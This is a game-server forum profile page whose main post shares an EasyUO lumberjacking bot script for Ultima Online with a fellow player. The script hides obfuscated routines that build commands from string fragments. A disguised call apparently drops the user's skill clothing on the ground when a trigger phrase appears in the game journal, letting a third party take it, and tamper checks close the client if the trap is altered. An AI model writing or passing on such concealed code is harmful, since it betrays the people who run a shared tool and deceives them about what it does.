Jump to content


Toggle shoutbox Chat Open the Shoutbox in a popup

Прямая связь с администрацией по скайпу: gods.dragon
@  fr33 : (17 April 2024 - 11:16) gm pashol v mu igrac
@  Pablo : (15 March 2024 - 21:12) Sell regs from pandora box.
@  Pablo : (15 March 2024 - 21:11) Sell paralyze and poison necklaces 100k 1 piece.
@  fr33 : (11 March 2024 - 16:38) blee gm zb atdai bank
@  GM SOLAR : (10 March 2024 - 17:24) ОпЯТь лаГГи ! ! !
@  Pablo : (06 March 2024 - 17:48) Labākais hot ko esmu jebkad paņēmis :D
@  Senseless : (05 March 2024 - 09:42) Opatj ataki na server powli :(
@  Pablo : (03 March 2024 - 19:19) Riebiigais
@  Ganjakur : (03 March 2024 - 15:10) kāds niks mp?
@  Pablo : (02 March 2024 - 21:31) Var kāds iedot 40 kk priekš 11 lvl ?
@  Senseless : (02 March 2024 - 18:12) bratva estj u kogo script na ckerika na lamber ?
@  GM SOLAR : (02 March 2024 - 16:44) ALL GO NA CTF ! ! ! ! !
@  Ganjakur : (01 March 2024 - 17:32) labi
@  Pablo : (29 February 2024 - 12:08) Eu džeki, tie kuri vairāk nespēlē ultimu, varat droši man uzdāvināt savus itemus, vai pat savus acc. droši rakstam man privāti. Es vismaz uzturēšu šo serveri pie dzīvības :D
@  fr33 : (29 February 2024 - 09:45) yes
@  EmmaSb : (28 February 2024 - 21:00) Easyuo still working ?
@  Artemy Shan : (18 February 2024 - 20:42) Еще один фикс поставил. Смотрим, тестируем.
@  jurasiks : (18 February 2024 - 20:04) da pipec tu, zdelal on
@  Senseless : (17 February 2024 - 19:17) Lagi powli opatj
@  Artemy Shan : (17 February 2024 - 12:36) Мне удалось повторить действия, которые делал этот пиздюк, чтобы нагружать процессор сервера на 100% и вроде как я поправил это.

PKI

Member Since 16 Feb 2011
Offline Last Active Private
-----

Posts I've Made

In Topic: Mat

28 February 2011 - 15:47

ja tut novij prosto. v sledushij raz budu znatj!

In Topic: Vai Kads ?

17 February 2011 - 00:59

stav paldies nonjemsu :)
tad vajadzetu iet ?

ai da es neko nevaru izdarit
tas kordas kas stav man nestrada vins skrien kkur sturii bindus no num nonjemu vienalga. draugs atsutija layeru uzliku savaas kordas vins nem rokas quest hatchet kad cert, bet es quest hatchet nevaru iznjemt lai izpilditu to hatchetes questu man vaig norm bow vai vismaz 1000 bultas.. nauda bultam man nav ta pat ari ka bandagem un visam parejam.. citus kvestus es ari nevaru izpildit visam vaig nedaudz naudas krch es nezinu ko lai iesaku esmu galiga strupceljaa!!
naksies nedelju 24/7 zaget kokus lai tikai dabutu bowu un pectam vell menesi lai pabeigtu salu !!

viegli gan tas viss ir izdomats!

In Topic: Vai Kads ?

17 February 2011 - 00:21

Tev uz NUMLOCK pogām nekādi bindi nestāv?


stav paldies nonjemsu :)
tad vajadzetu iet ?

In Topic: Vai Kads ?

16 February 2011 - 19:47

Lūk Lumber scp priekš islanda!Uz anku nenes tikai cērt i viss!

set %gameClass Cleric	; Cleric or Archer

set %maxWeight 380	; Max ves

set %box WBUVKMD		 ; ID korobki, gde sbrasivatj rudu

set %foodCont AVFXKMD	; ID korobki, gde stoit zapasi moloko i bekona

set %dropAspen #false	 ; #true - sbrasivajet Aspen logi , #false - net

set %dropWillow #false	; #true - sbrasivajet  Willow logi , #false - net

set %dropCedarMapleNoblefire #false; #true sbrasivajet etie logi, #false - net

set %dropCherryEcalyptus #false ; #true sbrasivajet etie logi, #false - net

set %skillItemChange #false; #true - menjajet skill shmotki, #false - net

set %recall #false		; #true - letajet s runebook, #false - begut peshkom

; Do Not Set These Items If %skillItemChange #false

set %skillRobe CYUXLMD; Skill Roba (ID)

set %skillCloak SUCIKMD; Skill Cloack (ID)

set %skillMask KBCIKMD; Skill Mask (ID)

set %simpleRobe HNFGLMD; Prostaja Roba (ID)

set %simpleCloak NSYNKMD ; Prostoj cloack (ID)

set %simpleMask YVTOLMD; Helm (TYPE/ID)

; Etix mozhno ne menjatj, esli %recall #false

set %runebookID YBUJKMD; ID runebooka

set %runeNumberToHome 1; Nr runi na dom

set %runeNumberToWood 2; Nr runi na les

set %amountRecalls 6	 ; Skolko recallov vzjatj, kogda ix netu

; special variables for Archer (tolka dlja archera):

set %camp heal; #spc - the best camp, heal - healing campifre +5

set %minKidlings 10 ; minimalnoe kolichestvo kidlov v sumke

set %amountKidlings 40; skolko kidlov vzjatj, kogda ix netu

set %minArrows 100; minimalnoe kolichestvo strel v sumke

set %amountArrows 250; skolko strel vzjatj, kogda ix netu

; special variables for Cleric(tolko dlja klerika):

set %Weapon VOH	; oruzhie

set %Shield AIK	; shild



set %item ZLK_POF_RZF_SJG_CUD_IJG_HSF_RVH_FZH_NZH_UJG_FWL

set %loot POF_RZF_SJG_CUD_IJG_HSF_RVH_FZH_NZH_UJG_FWL_ZLK



if %recall

{

gosub Instalyze runeNumberToHome 1

gosub Instalyze runeNumberToWood 2

}

if %dropAspen

set %aspenCol 973

if %dropWillow

set %willowCol 0

if %dropCedarMapleNoblefire 3

set %cedarCol 437

set %mapleCol 1233

set %noblefireCol 153

if %dropCherryEcalyptus 2

set %cherryCol 38

set %ecalyptusCol 81

set %skill %skillRobe , _ , %skillCloak , _ , %skillMask

gosub gettingStarted

gosub initevents

set %k 0

set %lastK 0



start:

 



 GOSUB LJING 4476 1440 3286 

 GOSUB LJING 4476 1443 3302 

 GOSUB LJING 4480 1447 3302 

 GOSUB LJING 4481 1453 3291 

 GOSUB LJING 4476 1449 3294 

 GOSUB LJING 4476 1452 3280 

 GOSUB LJING 4480 1458 3299 

 GOSUB LJING 4480 1461 3299 

 GOSUB LJING 4476 1461 3280 

 GOSUB LJING 4481 1467 3291 

 GOSUB LJING 4479 1468 3283 

 GOSUB LJING 4480 1472 3291 

 GOSUB LJING 4476 1470 3280 

 GOSUB LJING 4476 1467 3289 

 GOSUB LJING 4472 1470 3291 

 GOSUB LJING 4472 1467 3296 

 GOSUB LJING 4468 1464 3299 

 GOSUB LJING 4464 1464 3286 

 GOSUB LJING 4460 1464 3277 

 GOSUB LJING 4468 1455 3302 

 GOSUB LJING 4464 1455 3294 

 GOSUB LJING 4464 1452 3283 

 GOSUB LJING 4468 1449 3280 

 GOSUB LJING 4468 1446 3294 

 GOSUB LJING 4468 1443 3291 

 GOSUB LJING 4468 1440 3286 

 GOSUB LJING 4464 1437 3286 

 GOSUB LJING 4464 1443 3302 

 GOSUB LJING 4460 1443 3291 

 GOSUB LJING 4460 1449 3302 

 GOSUB LJING 4460 1455 3277 

 GOSUB LJING 4460 1464 3277 

 GOSUB LJING 4448 1464 3294 

 GOSUB LJING 4444 1464 3277 

 GOSUB LJING 4456 1458 3289 

 GOSUB LJING 4452 1458 3291 

 GOSUB LJING 4452 1452 3280 

 GOSUB LJING 4448 1455 3289 

 GOSUB LJING 4440 1464 3283 

 GOSUB LJING 4436 1461 3283 

 GOSUB LJING 4440 1461 3283 

 GOSUB LJING 4436 1455 3280 

 GOSUB LJING 4440 1458 3302 

 GOSUB LJING 4444 1455 3302 

 GOSUB LJING 4444 1449 3286 

 GOSUB LJING 4444 1446 3286 

 GOSUB LJING 4440 1449 3299 

 GOSUB LJING 4440 1446 3283 

 GOSUB LJING 4432 1452 3283 

 GOSUB LJING 4432 1449 3302 

 GOSUB LJING 4436 1446 3286 

 GOSUB LJING 4440 1443 3277 

 GOSUB LJING 4448 1437 3299 

 GOSUB LJING 4440 1440 3291 

 GOSUB LJING 4444 1437 3302 

 GOSUB LJING 4440 1437 3283 

 GOSUB LJING 4436 1437 3291 

 GOSUB LJING 4440 1434 3289 

 GOSUB LJING 4436 1434 3299 

 GOSUB LJING 4436 1431 3302 

 GOSUB LJING 4436 1422 3302 

 GOSUB LJING 4436 1413 3302 

 GOSUB LJING 4440 1410 3294 

 GOSUB LJING 4444 1410 3294 

 GOSUB LJING 4440 1413 3299 

 GOSUB LJING 4444 1413 3296 

 GOSUB LJING 4444 1416 3296 

 GOSUB LJING 4444 1419 3277 

 GOSUB LJING 4444 1422 3294 

 GOSUB LJING 4448 1422 3286 

 GOSUB LJING 4452 1413 3291 

 GOSUB LJING 4452 1416 3299 

 GOSUB LJING 4452 1422 3289 

 GOSUB LJING 4452 1425 3294 

 GOSUB LJING 4456 1419 3277 

 GOSUB LJING 4456 1425 3286 

 GOSUB LJING 4460 1422 3289 

 GOSUB LJING 4464 1416 3280 

 GOSUB LJING 4464 1425 3289 

 GOSUB LJING 4468 1413 3280 

 GOSUB LJING 4472 1413 3280 

 GOSUB LJING 4468 1419 3286 

 GOSUB LJING 4468 1422 3283 

 GOSUB LJING 4472 1419 3277 

 GOSUB LJING 4472 1422 3286 

 GOSUB LJING 4472 1425 3286 

 GOSUB LJING 4476 1425 3299 

 GOSUB LJING 4480 1425 3277 







goto start



sub ljing

set %k %k + 1

gosub ghost

gosub checkHP

gosub reaper

gosub checkWeight

move %1 %2 1

finditem FSF C

set #lobjectid #findid

set #ltargetx %1

set #ltargety %2

set #ltargettile %3

set #ltargetz %4

set #ltargetkind 3

event macro 17 0

target 10s

event macro 22 0

wait 7

set %overtime #scnt + 20

gosub scan

return



sub checkWeight

if #weight > %maxWeight

{

if ! %dropAspen && ! %dropWillow && ! %dropCherryEcalyptus && ! %dropCedarMapleNoblefire

 {

 if %recall

 gosub port

 if ! %recall

 gosub moveItems

 }

if %dropAspen || %dropWillow || %dropCedarMapleNoblefire || %dropCherryEcalyptus

 {

 gosub dropTrashLogs

 return

 }

}

if %afk <> true || %else <> IJG

gosub ghost 1

return



sub scan

scan:

scanjournal 1

if hungry in #sysmsg

{

gosub eat

return

}

%get fixed

gosub reaper

if ( ( you_can't_reach_this in #sysmsg ) || ( THERE_IS_NOTHING_HERE_TO_CHOP in #sysmsg )

+  || ( use_that_in in #journal ) || ( It_appears_immune_to_your_blow in #sysmsg ) )

return

gosub checkHP

if #scnt >= %overtime

return

goto scan

return



sub arm

if %gameClass = Cleric

{

repeat

{

finditem %Weapon c_ , #BackpackId

set #lobjectID #findid

event macro 17 0

wait 12

finditem %Weapon c_ , #BackpackId

}

until #findcnt = 0

repeat

{

finditem %Shield c_ , #BackpackId

set #lobjectID #findid

event macro 17 0

wait 12

finditem %Shield c_ , #BackpackId

}

until #findcnt = 0

}

if %gameClass = Archer

{

msg $.arm bow$

wait 5

}

return



sub port

set %k %k + 1

gosub arm

gosub checkHP

gosub reaper

if G in #charstatus

event macro 6 0

event macro 6 0

set %oldPosX #charposx

set %oldPosY #charposy

gosub openRunebook

repeat

{

click %x1 %y1

wait 20

}

until #contname <> generic_gump && #contsize <> 577_426

if %gameClass = Cleric

event macro 13 21

if %gameClass = Archer

event macro 13 21

while #charposx = %oldPosX && #charposy = %oldPosY

wait 10

gosub moveItems

gosub back

return



sub moveItems

; Koordinati do banka

move 4455 1431

move 4485 1431

move 4500 1431

move 4500 1416

move 4500 2891

move 4500 1411

repeat

{

msg bank$

wait 40

}

until #conttype = IKF

finditem %box C

if #findcnt = 0

{

  event Sysmessage Box Not Found!

  halt

}

repeat

{

finditem %item C_ , #backpackid

if #findcnt >= 1

{

exevent Drag #Findid #findstack

exevent Dropc %box

wait 35

}

finditem %item C_ , #backpackid

}

until #findcnt = 0

; Koordinati obratno do peshcheri

move 4500 2891

move 4500 1416

move 4500 1431

move 4485 1431

move 4455 1431

return



sub back

gosub checkHP

set %oldPosX #charposx

set %oldPosY #charposy

for %i 1 2

{

gosub openRunebook

click 261 215; Recharge runebook 2x

wait 20

}

gosub openRunebook

repeat

{

click %x2 %y2

wait 20

}

until #contname <> generic_gump && #contsize <> 577_426

event macro 13 21

wait 2s

while #charposx = %oldPosX && #charposy = %oldPosY

goto back

return



sub checkHP

if #hits < #maxhits

{

 if %skillItemChange

 gosub changeClothesTo %simpleMask %simpleRobe %simpleCloak

gosub arm

gosub follow&kill

 if %skillItemChange

 gosub changeClothesTo %skillMask %skillRobe %skillCloak

}

return



sub fixed

set %k %k + 1

%to %bca %be # . %all

{

repeat

{

set %up # . %cares

%done %start , _ , %else %end , _ , %up

%lastdo %race # . %Wsave

%lastdo %eaea # . %alpha # . %beta # . %gamma

%upgrade 25

%done %start , _ , %else %end , _ , %up

}

until # . %gems = 0

}

return



sub openRunebook

finditem %runebookID C_ , #backpackid

if #findcnt = 0

{

event sysmessage Runebook not found!

pause

}

set #lobjectid #findid

event macro 17 0

while #contname <> generic_gump && #contsize <> 577_426

wait 1

return



sub ghost

if #charghost = YES || %0 = 1

{

terminate uo

halt

}

return



sub changeClothesTo

repeat

{

finditem %1 C_ , #backpackid

set #lobjectID #findid

event macro 17 0

wait 35

finditem %1 C_ , #backpackid

}

until #findcnt = 0

repeat

{

finditem %2 C_ , #backpackid

set #lobjectID #findid

event macro 17 0

wait 35

finditem %2 C_ , #backpackid

}

until #findcnt = 0

repeat

{

Finditem %3 C_ , #backpackid

set #lobjectID #findid

event macro 17 0

wait 35

finditem %3 C_ , #backpackid

}

until #findcnt = 0

return



sub initevents

set %rescourse finding

str left %rescourse 4

set %save #strres

set %done %save , item

set %iii kill

str left string 1

set %asd #strres , %iii

set %start % . %asd

str left CADY 1

set %end #strres

str left character 4

set %who #strres

set %cares %who , id

str left %do 4

set %lastdo ex , #strres , t

set %race dragrace

str left %race 4

set %race #strres

set %Wsave %save , id

str right skopg 3

set %jasl #strres

str left drive 2

set %eaea #strres , %jasl

str left post 3

set %number %who , #strres

set %alpha %number , x

set %beta %number , y

set %gamma %number , z

set %repsawn waitrespawn

str left %repsawn 4

set %upgrade #strres

str left tilbery 3

set %almost #strres

str left unuquady 2

set %past #strres , %almost

set %gems %save , cnt

set %else IJG

return



sub follow&kill

set %charX #charposx

set %charY #charposy

set %charz #charposz

set %killTime #scnt + 60

if %gameClass = Cleric

{

repeat

{

finditem #enemyid

event pathfind #FINDX #FINDY #FINDZ 1 3s

wait 1s

msg $.usebandage$

wait 10

target 1s

event macro 23 0

wait 10

gosub ghost

}

until #findcnt = 0 || #scnt > %killTime

}

if %gameClass = Archer

{

repeat

{

msg .camp %camp $

wait 40

finditem #enemyid

}

until #findcnt = 0 || #scnt > %killTime

}

gosub loot

if #hits < #maxhits

gosub heal

set %time #scnt + 20

repeat

{

event pathfind %charX %charY %charz 1 3s

wait 1s

gosub ghost

if #scnt > %time

return

}

until #charposx = %charX && #charposy = %charY

return



sub heal

repeat

{

msg $.usebandage$

wait 10

target

event macro 23 0

wait 20

}

until #hits >= #maxhits

return



sub gettingStarted

set %afk true

set %ell qaerty

str left %ell 1

set %abc #strres , #strres , #strres

set %a1 #strres

str left %ell 2

str right #strres 1

set %cba %abc , #strres , %a1

set %bca %cba , #strres

str right %afk 1

set %bca %bca , #strres

set %bra %bca , b

set %n1 nlogif

str right %n1 2

set %to #strres

str left %n1 1

set %be #strres

str right %n1 2

str left #strres 1

set %be #strres , %be

set %tour jour

set %navigate nalliwate

str left %navigate 3

set %all %tour , #strres

set %navigate gost

str left %navigate 3

set %ac #strres

str right pub 2

set %get %ac , #strres

set %do events

str right linit 4

set %toGo #strres , %do

return



sub eat

finditem ZBM C

set #lobjectid #findid

event macro 17 0

wait 20

finditem GND C

set #lobjectid #findid

event macro 17 0

wait 20

event macro 17 0

wait 15s

return



sub Instalyze

if % . %1 <= 8

set %x . %2 260

else

set %x . %2 420

if % . %1 = 1 || % . %1 = 9

set %y . %2 260

if % . %1 = 2 || % . %1 = 10

set %y . %2 275

if % . %1 = 3 || % . %1 = 11

set %y . %2 290

if % . %1 = 4 || % . %1 = 12

set %y . %2 305

if % . %1 = 5 || % . %1 = 13

set %y . %2 320

if % . %1 = 6 || % . %1 = 14

set %y . %2 335

if % . %1 = 7 || % . %1 = 15

set %y . %2 350

if % . %1 = 8 || % . %1 = 16

set %y . %2 365

return



sub loot

set %lootTime #scnt + 20

finditem YFM G_4

if #findcnt >= 1

{

set #lobjectid #findid

set %body #findid

event macro 17 0

while #contkind <> ASEB && #contsize <> 144_212 && %lootTime > #scnt

wait 1

wait 10

repeat

{

finditem %loot C_ , %body

if #findcnt = 0 || #scnt > %lootTime

{

ignoreitem %body 2

return

}

exevent drag #findid #findstack

exevent dropc #backpackid

wait 50

}

until #false

}

return



sub dropTrashLogs

repeat

{

finditem ZLK C_ , #backpackid

if #findcnt = 0

 {

  wait 20

  if #weight >= %maxweight

   {

   if %recall

   gosub port

   if ! %recall

   gosub moveItems

   return

   }

  if #weight < %maxweight

   return

 }

if #findcol = %willowCol || #findcol = %aspenCol

+ || #findcol = %cedarCol || #findcol = %mapleCol || #findcol = %noblefireCol

+ || #findcol = %cherryCol || #findcol = %ecalyptusCol

{

exevent drag #findid #findstack

exevent dropg #charposx #charposy #charposz

wait 50

}

ignoreitem #findid 1

}

until #false

return



sub reaper

if %lastK >= %k

gosub ghost 1

set %lastK %k

finditem JE G

if #findcnt <> 0

{

sound

gosub arm

set %charX #charposx

set %charY #charposy

set %charz #charposz

if %skillItemChange

gosub changeClothesTo %simpleMask %simpleRobe %simpleCloak

set %killTime #scnt + 60

finditem JE G

set %reaper #findid

set #ltargetid %reaper

event macro 27 0

if %gameClass = Cleric

{

repeat

{

finditem %reaper

event pathfind #FINDX #FINDY #FINDZ 1 3s

wait 1s

msg $.usebandage$

wait 10

target 1s

event macro 23 0

wait 10

gosub ghost

}

until #findcnt = 0 || #scnt > %killTime

}

if %gameClass = Archer

{

repeat

{

msg .camp %camp $

wait 40

finditem %reaper

}

until #findcnt = 0 || #scnt > %killTime

}

gosub loot

if #hits < #maxhits

gosub heal

if %skillItemChange

gosub changeClothesTo %skillMask %skillRobe %skillCloak

set %time #scnt + 20

repeat

{

event pathfind %charX %charY %charz 1 3s

wait 1s

gosub ghost

if #scnt > %time

return

}

until #charposx = %charX && #charposy = %charY

}

return



sub rescourses

finditem RWF C_ , #backpackid

if #findstack <= %minArrows

{

set #lobjectid %box

event macro 17 0

while #contid <> %box

wait 1

finditem RWF C_ , %box

exevent drag #findid %amountArrows

exevent dropc #backpackid

wait 35

}

finditem PEF C_ , #backpackid

if #findstack <= %minKidlings

{

set #lobjectid %box

event macro 17 0

while #contid <> %box

wait 1

finditem PEF C_ , %box

exevent drag #findid %amountKidlings

exevent dropc #backpackid

wait 35

}

return



sub recalls

finditem WTL C_ , #backpackid

if #findstack <= 2 || #findcnt = 0

{

set #lobjectid %box

event macro 17 0

while #contid <> %box

wait 1

finditem WTL C_ , %box

exevent drag #findid %amountRecalls

exevent dropc #backpackid

wait 35

}

return



sub food

finditem ZBM C_ , #backpackid

if #findcnt = 0

{

set #lobjectid %foodCont

event macro 17 0

while #contid <> %foodCont

wait 1

finditem ZBM C_ , %foodCont; 1 pitcher of milk

exevent drag #findid 1

exevent dropc #backpackid

wait 35

}

finditem GND C_ , #backpackid

if #findcnt = 0

{

finditem GND C_ , %foodCont

exevent drag #findid 4; 4 baocn slices

exevent dropc #backpackid

wait 35

finditem ZBM C_ , %foodCont; 1 pitcher of milk

exevent drag #findid 1

exevent dropc #backpackid

wait 35

}

return

man raxta you dont have a spellbook handly un skrien kkur jocigi :( skrien uz vienu pusi udeni nevis uz kkadu mezhu :(

In Topic: Vai Kads ?

16 February 2011 - 18:29

paldies, bet kaa lai liek kordinates ?